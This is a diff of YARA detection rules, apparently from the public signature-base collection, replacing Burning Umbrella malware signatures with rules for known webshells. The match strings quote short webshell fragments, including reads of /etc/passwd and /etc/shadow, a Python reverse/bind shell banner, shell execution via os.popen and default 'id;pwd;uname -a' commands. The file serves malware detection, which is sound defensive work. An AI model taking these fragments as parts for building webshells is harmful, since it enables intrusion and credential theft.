+		id = "edfe6a3d-7d56-52ad-a376-cec5722e87b7"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://401trg.pw/burning-umbrella/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_winnti_burning_umbrella.yar#L117-L130"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "115774c17003408a04e4b2678f32392b5439b55f3d4688476f6f877520acf75d"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L4600-L4613"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "70a0ee2624e5bbe5525ccadc467519f6"
+		logic_hash = "32b3ddb00f89a3540118fe8ce5fc070556b00030dcf2b21245d38ae66e6cbc14"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "a4ce3a356d61fbbb067e1430b8ceedbe8965e0cfedd8fb43f1f719e2925b094a"
-		hash2 = "a8bfc1e013f15bc395aa5c047f22ff2344c343c22d420804b6d2f0a67eb6db64"
-		hash3 = "959612f2a9a8ce454c144d6aef10dd326b201336a85e69a604e6b3892892d7ed"
+		tags = ""
+
+	strings:
+		$s0 = "JspWebshell"
+		$s1 = "CreateAndDeleteFolder is error:"
+		$s2 = "<td width=\"70%\" height=\"22\">&nbsp;<%=env.queryHashtable(\"java.c"
+		$s3 = "String _password =\"111\";"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <400KB and pe.imphash()=="f5b113d6708a3927b5cc48f2215fcaff"
+		2 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_MAL_Burningumbrella_Sample_8 : FILE
+rule SIGNATURE_BASE_Sincap_Php_Php
 {
 	meta:
-		description = "Detects malware sample from Burning Umbrella report"
-		author = "Florian Roth (Nextron Systems)"
-		id = "1b89d5a1-1425-5cb7-b429-563769bc0943"
-		date = "2018-05-04"
+		description = "Semi-Auto-generated  - file Sincap.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "8c4dc7b1-94ce-5528-8442-eae05d2c9980"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://401trg.pw/burning-umbrella/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_winnti_burning_umbrella.yar#L132-L145"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "1a42667463ff006b155c93b8986ab75441ba00d0c3c146c2d4c6929250627d8d"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L4614-L4626"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "b68b90ff6012a103e57d141ed38a7ee9"
+		logic_hash = "e708a7dcb26ff7d0208c1f092e14e701f2ae94c4ffca019f13064bbe04ef74d7"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "73270fe9bca94fead1b5b38ddf69fae6a42e574e3150d3e3ab369f5d37d93d88"
+		tags = ""
 
 	strings:
-		$s1 = "cmd /c open %s" fullword ascii
+		$s0 = "$baglan=fopen(\"/tmp/$ekinci\",'r');"
+		$s2 = "$tampon4=$tampon3-1"
+		$s3 = "@aventgrup.net"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <400KB and 1 of them
+		2 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_MAL_Burningumbrella_Sample_10 : FILE
+rule SIGNATURE_BASE_Test_Php_Php
 {
 	meta:
-		description = "Detects malware sample from Burning Umbrella report"
-		author = "Florian Roth (Nextron Systems)"
-		id = "e4cb2211-efbe-55f9-99e3-c01601904509"
-		date = "2018-05-04"
+		description = "Semi-Auto-generated  - file Test.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "58d73264-6507-5560-ad3e-0cc86c2ee291"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://401trg.pw/burning-umbrella/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_winnti_burning_umbrella.yar#L147-L163"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "14d0ab1114c168d7222a49e68ba12718b6285969e667b95be665d59b1fc98358"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L4627-L4639"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "77e331abd03b6915c6c6c7fe999fcb50"
+		logic_hash = "575a2eeadc8113d779057f98e978ed4f8914546117b57944bf65f1d6d84c9521"
+		score = 50
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "70992a72412c5d62d003a29c3967fcb0687189d3290ebbc8671fa630829f6694"
-		hash2 = "48f0bbc3b679aac6b1a71c06f19bb182123e74df8bb0b6b04ebe99100c57a41e"
-		hash3 = "5475ae24c4eeadcbd49fcd891ce64d0fe5d9738f1c10ba2ac7e6235da97d3926"
+		tags = ""
 
 	strings:
-		$s1 = "revjj.syshell.org" fullword ascii
+		$s0 = "$yazi = \"test\" . \"\\r\\n\";" fullword
+		$s2 = "fwrite ($fp, \"$yazi\");" fullword
+		$s3 = "$entry_line=\"HACKed by EntriKa\";" fullword
 
 	condition:
-		uint16(0)==0x5a4d and filesize <300KB and all of them
+		1 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_MAL_Burningumbrella_Sample_11 : FILE
+rule SIGNATURE_BASE_Phyton_Shell_Py
 {
 	meta:
-		description = "Detects malware sample from Burning Umbrella report"
-		author = "Florian Roth (Nextron Systems)"
-		id = "9762c68c-4d69-5d38-aaf4-0048e7404147"
-		date = "2018-05-04"
+		description = "Semi-Auto-generated  - file Phyton Shell.py.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "2f55d60d-94f3-508d-a2d0-5ab59e3fdab3"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://401trg.pw/burning-umbrella/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_winnti_burning_umbrella.yar#L165-L178"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "847681b3e9d4fc38c483663f5a7e16e7f8f95cfa77728d7316edbe6fbf5fe2c1"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L4640-L4653"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "92b3c897090867c65cc169ab037a0f55"
+		logic_hash = "ac16a95cd1fb09c93b315e3cd7d57c1ebec322b641f515854fb73a61393dd365"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "278e9d130678615d0fee4d7dd432f0dda6d52b0719649ee58cbdca097e997c3f"
+		tags = ""
 
 	strings:
-		$s1 = "Resume.app/Contents/Java/Resume.jarPK" fullword ascii
+		$s1 = "sh_out=os.popen(SHELL+\" \"+cmd).readlines()" fullword
+		$s2 = "#   d00r.py 0.3a (reverse|bind)-shell in python by fQ" fullword
+		$s3 = "print \"error; help: head -n 16 d00r.py\"" fullword
+		$s4 = "print \"PW:\",PW,\"PORT:\",PORT,\"HOST:\",HOST" fullword
 
 	condition:
-		uint16(0)==0x4b50 and filesize <700KB and 1 of them
+		1 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_MAL_Burningumbrella_Sample_12 : FILE
+rule SIGNATURE_BASE_Mysql_Tool_Php_Php
 {
 	meta:
-		description = "Detects malware sample from Burning Umbrella report"
-		author = "Florian Roth (Nextron Systems)"
-		id = "805a00e7-2959-53d8-b769-0f8e54e1bbd5"
-		date = "2018-05-04"
+		description = "Semi-Auto-generated  - file mysql_tool.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "c67197d1-6e40-5bf2-9e1b-6ada43529435"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://401trg.pw/burning-umbrella/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_winnti_burning_umbrella.yar#L180-L201"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "31798a39d10bfa4520d91e1f555302e9ac4e38d90f8bc27376a5e7e1ccfcc5e1"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L4654-L4666"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "5fbe4d8edeb2769eda5f4add9bab901e"
+		logic_hash = "9f49bd6c56c919f678ecada82ff3d801c82c98a8abdee85cda1ec7e5b6756012"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "b9aba520eeaf6511877c1eec5f7d71e0eea017312a104f30d3b8f17c89db47e8"
+		tags = ""
 
 	strings:
-		$s1 = "%SystemRoot%\\System32\\qmgr.dll" fullword ascii
-		$s2 = "rundll32.exe %s,Startup" fullword ascii
-		$s3 = "nvsvcs.dll" fullword wide
-		$s4 = "SYSTEM\\CurrentControlSet\\services\\BITS\\Parameters" fullword ascii
-		$s5 = "http://www.sginternet.net 0" fullword ascii
-		$s6 = "Microsoft Corporation. All rights reserved." fullword wide
+		$s0 = "$error_text = '<strong>Failed selecting database \"'.$this->db['"
+		$s1 = "$ra44  = rand(1,99999);$sj98 = \"sh-$ra44\";$ml = \"$sd98\";$a5 = $_SERV"
+		$s4 = "<div align=\"center\">The backup process has now started<br "
 
 	condition:
-		uint16(0)==0x5a4d and filesize <80KB and (pe.exports("SvcServiceMain") and 5 of them )
+		1 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_MAL_Burningumbrella_Sample_13 : FILE
+rule SIGNATURE_BASE_Zehir_4_Asp
 {
 	meta:
-		description = "Detects malware sample from Burning Umbrella report"
-		author = "Florian Roth (Nextron Systems)"
-		id = "38c73425-bbdd-5b74-8ad4-5e0052039dd8"
-		date = "2018-05-04"
+		description = "Semi-Auto-generated  - file Zehir 4.asp.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "ea7df4e1-d4e2-5a58-a014-d12cb9afaf79"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://401trg.pw/burning-umbrella/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_winnti_burning_umbrella.yar#L203-L215"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "8cc611685a822e0484146a08f4ebc2fa8dd260dc8627929333060696d8dc35ce"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L4667-L4678"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "7f4e12e159360743ec016273c3b9108c"
+		logic_hash = "69063d866daf1709df81fa22d76177bf8d552e19725a94db4a1b2fca79387faf"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "d31374adc0b96a8a8b56438bbbc313061fd305ecee32a12738dd965910c8890f"
-		hash2 = "c74a8e6c88f8501fb066ae07753efe8d267afb006f555811083c51c7f546cb67"
+		tags = ""
+
+	strings:
+		$s2 = "</a><a href='\"&dosyapath&\"?status=10&dPath=\"&f1.path&\"&path=\"&path&\"&Time="
+		$s4 = "<input type=submit value=\"Test Et!\" onclick=\""
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and pe.imphash()=="75f201aa8b18e1c4f826b2fe0963b84f"
+		1 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_MAL_Burningumbrella_Sample_14 : FILE
+rule SIGNATURE_BASE_Sh_Php_Php
 {
 	meta:
-		description = "Detects malware sample from Burning Umbrella report"
-		author = "Florian Roth (Nextron Systems)"
-		id = "a2b3a4bb-ca60-5dc2-8124-17e654e326b8"
-		date = "2018-05-04"
+		description = "Semi-Auto-generated  - file sh.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "da691516-d6c9-5c4b-85c3-f1cd7fc96ae7"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://401trg.pw/burning-umbrella/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_winnti_burning_umbrella.yar#L217-L231"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "37515683804e9aa076a588048713b420501b2aaf6b8617501ef550484abd1c03"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L4679-L4690"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "330af9337ae51d0bac175ba7076d6299"
+		logic_hash = "b0c3307d451e5d7dadece114e2888503a46038e2edb2ff32bf566ce47b300e76"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "388ef4b4e12a04eab451bd6393860b8d12948f2bce12e5c9022996a9167f4972"
+		tags = ""
 
 	strings:
-		$s1 = "C:\\tmp\\Google_updata.exe" fullword ascii
+		$s1 = "$ar_file=array('/etc/passwd','/etc/shadow','/etc/master.passwd','/etc/fstab','/e"
+		$s2 = "Show <input type=text size=5 value=\".((isset($_POST['br_st']))?$_POST['br_st']:"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <40KB and 1 of them
+		1 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_MAL_Burningumbrella_Sample_15 : FILE
+rule SIGNATURE_BASE_Phpbackdoor15_Php
 {
 	meta:
-		description = "Detects malware sample from Burning Umbrella report"
-		author = "Florian Roth (Nextron Systems)"
-		id = "4dc840c1-e6fa-5b21-bfcd-ef07cd85272a"
-		date = "2018-05-04"
+		description = "Semi-Auto-generated  - file phpbackdoor15.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "a93b881b-3050-5f43-803c-4a571aaaef82"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://401trg.pw/burning-umbrella/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_winnti_burning_umbrella.yar#L233-L248"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "8541231fe1e48d7130aed64eee964f8eda6792b5dd3e708b98e9cc6f1f620cd0"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L4691-L4703"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "0fdb401a49fc2e481e3dfd697078334b"
+		logic_hash = "cdd105f36593e8326ca32bf7cf1fba6fb754e7305c91fe6c078323db8f59b23c"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "be6bea22e909bd772d21647ffee6d15e208e386e8c3c95fd22816c6b94196ae8"
-		hash2 = "72a8fa454f428587d210cba0e74735381cd0332f3bdcbb45eecb7e271e138501"
-		hash3 = "9cc38ea106efd5c8e98c2e8faf97c818171c52fa3afa0c4c8f376430fa556066"
-		hash4 = "1a4a64f01b101c16e8b5928b52231211e744e695f125e056ef7a9412da04bb91"
-		hash5 = "3cd42e665e21ed4815af6f983452cbe7a4f2ac99f9ea71af4480a9ebff5aa048"
+		tags = ""
+
+	strings:
+		$s1 = "echo \"fichier telecharge dans \".good_link(\"./\".$_FILES[\"fic\"][\"na"
+		$s2 = "if(move_uploaded_file($_FILES[\"fic\"][\"tmp_name\"],good_link(\"./\".$_FI"
+		$s3 = "echo \"Cliquez sur un nom de fichier pour lancer son telechargement. Cliquez s"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <50KB and pe.imphash()=="cc33b1500354cf785409a3b428f7cd2a"
+		1 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_MAL_Burningumbrella_Sample_16 : FILE
+rule SIGNATURE_BASE_Phpjackal_Php
 {
 	meta:
-		description = "Detects malware sample from Burning Umbrella report"
-		author = "Florian Roth (Nextron Systems)"
-		id = "8b1970bd-571e-5c53-9170-1605c69d9d6d"
-		date = "2018-05-04"
+		description = "Semi-Auto-generated  - file phpjackal.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "ae46cb97-1ff8-50ba-856f-c38fbb1e5163"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://401trg.pw/burning-umbrella/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_winnti_burning_umbrella.yar#L250-L263"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "2d0ee163e7f6f04bfe6941575d0916e18ce2e5c2426e0af326c9567560df3122"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L4704-L4715"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "ab230817bcc99acb9bdc0ec6d264d76f"
+		logic_hash = "6e2ff262aecd08e5feaa274a7fd128d75565d6cc03341da7cbeb2949070705e5"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "58bb3859e02b8483e9f84cc56fbd964486e056ef28e94dd0027d361383cc4f4a"
+		tags = ""
 
 	strings:
-		$s1 = "http://netimo.net 0" fullword ascii
+		$s3 = "$dl=$_REQUEST['downloaD'];"
+		$s4 = "else shelL(\"perl.exe $name $port\");"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <500KB and all of them
+		1 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_MAL_Burningumbrella_Sample_17 : FILE
+rule SIGNATURE_BASE_Sql_Php_Php
 {
 	meta:
-		description = "Detects malware sample from Burning Umbrella report"
-		author = "Florian Roth (Nextron Systems)"
-		id = "d79d3f65-f27c-582b-9258-7c84dc7682a6"
-		date = "2018-05-04"
+		description = "Semi-Auto-generated  - file sql.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "41730336-0dce-5ed9-95b0-c911a4e3cb48"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://401trg.pw/burning-umbrella/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_winnti_burning_umbrella.yar#L265-L284"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ca1dc3a03926af15527d2cb95c87457c285891d42a0aa642f49414153bcfc39e"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L4716-L4728"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "8334249cbb969f2d33d678fec2b680c5"
+		logic_hash = "875bdaa0072f869c983526d0aab20b4faa9187a3f32b8024658114a4c908b825"
 		score = 75
-		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "fa380dac35e16da01242e456f760a0e75c2ce9b68ff18cfc7cfdd16b2f4dec56"
-		hash2 = "854b64155f9ceac806b49f3e352949cc292e5bc33f110d965cf81a93f78d2f07"
-		hash3 = "1e462d8968e8b6e8784d7ecd1d60249b41cf600975d2a894f15433a7fdf07a0f"
-		hash4 = "3cdc149e387ec4a64cce1191fc30b8588df4a2947d54127eae43955ce3d08a01"
-		hash5 = "a026b11e15d4a81a449d20baf7cbd7b8602adc2644aa4bea1e55ff1f422c60e3"
+		quality = 60
+		tags = ""
 
 	strings:
-		$s1 = "syshell" fullword wide
-		$s2 = "Normal.dotm" fullword ascii
-		$s3 = "Microsoft Office Word" fullword ascii
+		$s1 = "fputs ($fp, \"# RST MySQL tools\\r\\n# Home page: http://rst.void.ru\\r\\n#"
+		$s2 = "http://rst.void.ru"
+		$s3 = "print \"<a href=\\\"$_SERVER[PHP_SELF]?s=$s&login=$login&passwd=$passwd&"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <400KB and all of them
+		1 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_MAL_Burningumbrella_Sample_18 : FILE
+rule SIGNATURE_BASE_Cgi_Python_Py
 {
 	meta:
-		description = "Detects malware sample from Burning Umbrella report"
-		author = "Florian Roth (Nextron Systems)"
-		id = "d08f4676-ff28-59be-9fd4-b5a824e577d9"
-		date = "2018-05-04"
+		description = "Semi-Auto-generated  - file cgi-python.py.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "75e99d10-3cdf-5f87-9933-4ce5ebe18b09"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://401trg.pw/burning-umbrella/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_winnti_burning_umbrella.yar#L286-L313"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "8ec1a1262874f636906186b569d231d6e3dd97ed6ef5cbddcbaf9f80cee301a0"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L4729-L4741"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "0a15f473e2232b89dae1075e1afdac97"
+		logic_hash = "37c6c7db32a52c8a83ff85f0a50c6fa71e833b9e6d20b1f95e9512fe8bbd0aee"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "d8df60524deb6df4f9ddd802037a248f9fbdd532151bb00e647b233e845b1617"
-		hash2 = "c55cb6b42cfabf0edf1499d383817164d1b034895e597068e019c19d787ea313"
-		hash3 = "32144ba8370826e069e5f1b6745a3625d10f50a809f3f2a72c4c7644ed0cab03"
-		hash4 = "ae616003d85a12393783eaff9778aba20189e423c11c852e96c29efa6ecfce81"
-		hash5 = "95b6e427883f402db73234b84a84015ad7f3456801cb9bb19df4b11739ea646d"
-		hash6 = "1419ba36aae1daecc7a81a2dfb96631537365a5b34247533d59a70c1c9f58da2"
-		hash7 = "6a5a9b0ae10ce6a0d5e1f7d21d8ea87894d62d0cda00db005d8d0de17cae7743"
-		hash8 = "74e348068f8851fec1b3de54550fe09d07fb85b7481ca6b61404823b473885bb"
-		hash9 = "adb9c2fe930fae579ce87059b4b9e15c22b6498c42df01db9760f75d983b93b2"
-		hash0 = "23f28b5c4e94d0ad86341c0b9054f197c63389133fcd81dd5e0cf59f774ce54b"
+		tags = ""
 
 	strings:
-		$s1 = "c:\\tmp\\tran.exe" fullword ascii
+		$s0 = "a CGI by Fuzzyman"
+		$s1 = "\"\"\"+fontline +\"Version : \" + versionstring + \"\"\", Running on : \"\"\" + "
+		$s2 = "values = map(lambda x: x.value, theform[field])     # allows for"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <200KB and (pe.imphash()=="11675b4db0e7df7b29b1c1ef6f88e2e1" or pe.imphash()=="364e1f68e2d412db34715709c68ba467" or pe.exports("deKernel") or 1 of them )
+		1 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_MAL_Burningumbrella_Sample_19 : FILE
+rule SIGNATURE_BASE_Ru24_Post_Sh_Php_Php
 {
 	meta:
-		description = "Detects malware sample from Burning Umbrella report"
-		author = "Florian Roth (Nextron Systems)"
-		id = "8ab55e80-5d28-5a5f-a1cc-725ba6720e4b"
-		date = "2018-05-04"
+		description = "Semi-Auto-generated  - file ru24_post_sh.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "78669d3e-629b-591a-a766-923e37d1fdba"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://401trg.pw/burning-umbrella/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_winnti_burning_umbrella.yar#L315-L332"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "218c16d1b67e3e80dc7fdaf67a869e92b39744cb336e70761ac960da36c00372"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L4742-L4754"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "5b334d494564393f419af745dc1eeec7"
+		logic_hash = "e81e5345bbe07ca85c94a3d8411f0dd3c418689ccae7115c098f718f9093b3bf"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "05e2912f2a593ba16a5a094d319d96715cbecf025bf88bb0293caaf6beb8bc20"
-		hash2 = "e7bbdb275773f43c8e0610ad75cfe48739e0a2414c948de66ce042016eae0b2e"
+		tags = ""
 
 	strings:
-		$s1 = "Cryption.dll" fullword ascii
-		$s2 = "tran.exe" fullword ascii
-		$s3 = "Kernel.dll" fullword ascii
-		$s4 = "Now ready to get the file %s!" fullword ascii
+		$s1 = "<title>Ru24PostWebShell - \".$_POST['cmd'].\"</title>" fullword
+		$s3 = "if ((!$_POST['cmd']) || ($_POST['cmd']==\"\")) { $_POST['cmd']=\"id;pwd;uname -a"
+		$s4 = "Writed by DreAmeRz" fullword
 
 	condition:
-		uint16(0)==0x5a4d and filesize <200KB and 3 of them
+		1 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_MAL_Burningumbrella_Sample_20 : FILE
+rule SIGNATURE_BASE_Dtool_Pro_Php
 {
 	meta:
-		description = "Detects malware sample from Burning Umbrella report"
-		author = "Florian Roth (Nextron Systems)"
-		id = "1a39a76a-31e2-5d6e-82cb-ea38d503b6a9"
-		date = "2018-05-04"
-		modified = "2023-01-06"
-		reference = "https://401trg.pw/burning-umbrella/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_winnti_burning_umbrella.yar#L334-L355"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
